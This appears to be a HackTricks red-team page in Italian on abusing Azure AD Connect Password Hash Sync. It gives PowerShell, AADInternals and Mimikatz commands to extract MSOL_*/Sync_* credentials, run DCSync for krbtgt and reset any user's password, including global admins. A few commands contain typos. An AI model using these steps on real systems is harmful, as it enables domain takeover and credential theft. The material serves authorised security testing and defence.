Az - PHS - Password Hash Sync

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Informazioni di base

Dalla documentazione: La sincronizzazione dell'hash della password è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. Azure AD Connect sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory locale a un'istanza di Azure AD basata su cloud.

È il metodo più comune utilizzato dalle aziende per sincronizzare un AD locale con Azure AD.

Tutti gli utenti e un hash degli hash delle password vengono sincronizzati dall'AD locale ad Azure AD. Tuttavia, le password in chiaro o gli hash originali non vengono inviati ad Azure AD. Inoltre, i gruppi di sicurezza integrati (come gli amministratori di dominio...) non vengono sincronizzati in Azure AD.

La sincronizzazione degli hash avviene ogni 2 minuti. Tuttavia, per impostazione predefinita, la scadenza della password e la scadenza dell'account non vengono sincronizzate in Azure AD. Quindi, un utente il cui password dell'AD locale è scaduto (non cambiato) può continuare ad accedere alle risorse di Azure utilizzando la vecchia password.

Quando un utente dell'AD locale vuole accedere a una risorsa di Azure, l'autenticazione avviene su Azure AD.

PHS è richiesto per funzionalità come Protezione dell'identità e Servizi del Dominio AAD.

Pivoting

Quando PHS è configurato alcuni account privilegiati vengono automaticamente creati:

  • L'account MSOL_<installationID> viene automaticamente creato nell'AD locale. A questo account viene assegnato un ruolo Directory Synchronization Accounts (vedi documentazione) il che significa che ha permessi di replica (DCSync) nell'AD locale.

  • Viene creato un account Sync_<nome del server ADConnect locale>_installationID in Azure AD. Questo account può reimpostare la password di QUALSIASI utente (sincronizzato o solo cloud) in Azure AD.

Le password dei due account privilegiati precedenti sono memorizzate in un server SQL sul server dove è installato Azure AD Connect. Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro. Il database si trova in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configurazione criptata è crittografata con DPAPI e contiene le password dell'utente MSOL_* nell'AD locale e la password di Sync_* in AzureAD. Pertanto, compromettendo queste è possibile ottenere privilegi nell'AD e in AzureAD.

È possibile trovare una panoramica completa su come queste credenziali sono memorizzate e decifrate in questa presentazione.

Trovare il server Azure AD Connect

Se il server su cui è installato Azure AD Connect è connesso al dominio (raccomandato nella documentazione), è possibile trovarlo con:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abuso di MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Puoi anche utilizzare adconnectdump per ottenere queste credenziali.

Abusing Sync_*

Compromettere l'account Sync_* è possibile reimpostare la password di qualsiasi utente (compresi gli Amministratori Globali)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

È anche possibile modificare le password solo degli utenti del cloud (anche se ciò è inaspettato)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

È anche possibile estrarre la password di questo utente.

Un'altra opzione sarebbe quella di assegnare permessi privilegiati a un service principal, a cui l'utente Sync ha permessi per fare, e poi accedere a quel service principal come metodo di privesc.

SSO senza soluzione di continuità

È possibile utilizzare SSO senza soluzione di continuità con PHS, che è vulnerabile ad altri abusi. Controllalo in:

pageAz - Seamless SSO

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated